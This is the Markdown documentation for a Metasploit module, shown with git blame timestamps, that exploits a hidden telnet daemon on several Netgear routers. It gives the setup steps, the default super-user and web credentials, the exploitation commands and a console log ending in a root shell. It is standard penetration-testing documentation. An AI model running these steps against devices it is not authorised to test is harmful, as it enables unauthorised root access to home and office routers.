Files
metasploit-gs/documentation/modules/exploit/linux/telnet/netgear_telnetenable.md
T

128 lines
3.5 KiB
Markdown
Raw Normal View History

2018-02-28 15:47:31 -06:00
## Intro
2018-03-01 20:18:14 -05:00
Several models of Netgear devices have a hidden telnet daemon that can be
2018-03-01 20:16:14 -05:00
enabled for remote LAN users by sending a 'magic packet' to the device.
Upon successful connect, a root shell should be presented to the user.
There are many devices which contain this daemon, for a full list see [OpenWrt](https://wiki.openwrt.org/toh/netgear/telnet.console)
This module has been successfully tested against:
2018-03-02 04:39:17 -06:00
- AC1450 in whatever version I bought it with (TCP)
- AC1450 latest V1.0.0.36_10.0.17 (UDP)
- N300 WNR2000 v3 (TCP)
2018-02-28 15:47:31 -06:00
## Setup
2018-03-01 20:16:14 -05:00
A MAC address is required for exploitation. To determine the MAC address of the device:
1. Ping the device to force an ARP lookup: ```ping -c 1 [IP]```
2. Get the MAC: ```arp -an [IP]```
2018-03-02 04:39:17 -06:00
## Targets
2018-03-02 06:22:48 -06:00
**0 (Automatic)**
Detect if a device listens on TCP or UDP.
**1 (TCP)**
2018-03-02 04:39:17 -06:00
Older devices usually listen on TCP.
2018-03-02 06:22:48 -06:00
**2 (UDP)**
2018-03-02 04:39:17 -06:00
Newer devices usually listen on UDP.
## Options
**MAC**
Set this to the MAC address of the device. You can use `ping` and `arp`
to find it.
**USERNAME**
If this is an older device, it'll take the value of `super_username` in
`nvram`. `Gearguy` is usually correct.
If this is a newer device, it'll take the web UI username, which is
usually unchanged from `admin`.
**PASSWORD**
If this is an older device, it'll take the value of `super_passwd` in
`nvram`. `Geardog` is usually correct.
If this is a newer device, it'll take the web UI password, which is
usually unchanged from `password`.
2018-03-02 07:20:05 -06:00
**VERBOSE**
This will display the username and password used in the magic packet.
2018-03-01 20:16:14 -05:00
## Exploitation
1. Make sure you have a vulnerable device
2. Start metasploit
3. ```use exploit/linux/telnet/netgear_telnetenable```
4. ```set rhost [IP]```
5. ```set mac [MAC Address]```
6. ```exploit```
7. Enjoy a root shell!
2018-02-28 15:47:31 -06:00
## Usage
```
msf5 > use exploit/linux/telnet/netgear_telnetenable
msf5 exploit(linux/telnet/netgear_telnetenable) > set rhost 192.168.1.1
rhost => 192.168.1.1
msf5 exploit(linux/telnet/netgear_telnetenable) > ping -c 1 192.168.1.1
[*] exec: ping -c 1 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
2018-03-02 07:20:05 -06:00
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=1.19 ms
2018-02-28 15:47:31 -06:00
--- 192.168.1.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
2018-03-02 07:20:05 -06:00
rtt min/avg/max/mdev = 1.198/1.198/1.198/0.000 ms
2018-02-28 15:47:31 -06:00
msf5 exploit(linux/telnet/netgear_telnetenable) > arp -an 192.168.1.1
[*] exec: arp -an 192.168.1.1
? (192.168.1.1) at [redacted] [ether] on wlan0
msf5 exploit(linux/telnet/netgear_telnetenable) > set mac [redacted]
mac => [redacted]
2018-03-02 07:20:05 -06:00
msf5 exploit(linux/telnet/netgear_telnetenable) > set verbose true
verbose => true
2018-02-28 15:47:31 -06:00
msf5 exploit(linux/telnet/netgear_telnetenable) > run
2018-03-02 06:22:48 -06:00
[+] 192.168.1.1:23 - Detected telnetenabled on UDP
2018-03-02 07:20:05 -06:00
[*] 192.168.1.1:23 - Using creds admin:password
2018-02-28 15:47:31 -06:00
[*] 192.168.1.1:23 - Generating magic packet
[*] 192.168.1.1:23 - Connecting to telnetenabled
[*] 192.168.1.1:23 - Sending magic packet
[*] 192.168.1.1:23 - Disconnecting from telnetenabled
[*] 192.168.1.1:23 - Waiting for telnetd
[*] 192.168.1.1:23 - Connecting to telnetd
[*] Found shell.
id
id
uid=0 gid=0(root)
# uname -a
uname -a
2018-03-02 06:22:48 -06:00
Linux (none) 2.6.36.4brcmarm+ #16 SMP PREEMPT Wed Mar 22 15:02:38 CST 2017 armv7l unknown
2018-02-28 15:47:31 -06:00
#
```
If you've already exploited TelnetEnable, the exploit will attempt to
connect to `telnetd` directly. This saves us from sending the magic
packet again.
```
msf5 exploit(linux/telnet/netgear_telnetenable) > run
[+] 192.168.1.1:23 - Detected telnetd on TCP
[*] 192.168.1.1:23 - Connecting to telnetd
[*] Found shell.
```